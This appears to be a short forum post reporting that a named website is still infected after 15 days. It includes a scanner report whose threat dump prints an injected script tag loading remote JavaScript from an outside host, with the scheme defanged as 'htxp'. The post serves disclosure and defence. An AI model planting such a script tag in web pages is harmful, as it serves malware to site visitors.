Update - the infection continues:
http://killmalware.com/barnsteiner.net/The website has nott been cleansed since, so 15 days and counting.
index.html
Severity: Malicious
Reason: Detected encoded JavaScript code commonly used to hide malicious behaviour.
Details: Malicious obfuscated JavaScript threat
Offset: 846
Threat dump:
[[<!--a03ada--><script type="text/javascript" src="htxp://box.traditionnutte.de/4gmrbbjy.php?id=89406"></script><!--/a03ada-->]]
Threat dump MD5: 75E8A847369CE7A9558E7D308AB145EB
File size[byte]: 986
File type: ASCII
Page/File MD5: 7B235BB67B5C88C69F0F16538F202324
Scan duration[sec]: 0.002000
Who is coming here to check the third party cold reconnaissance scanning I perform? polonus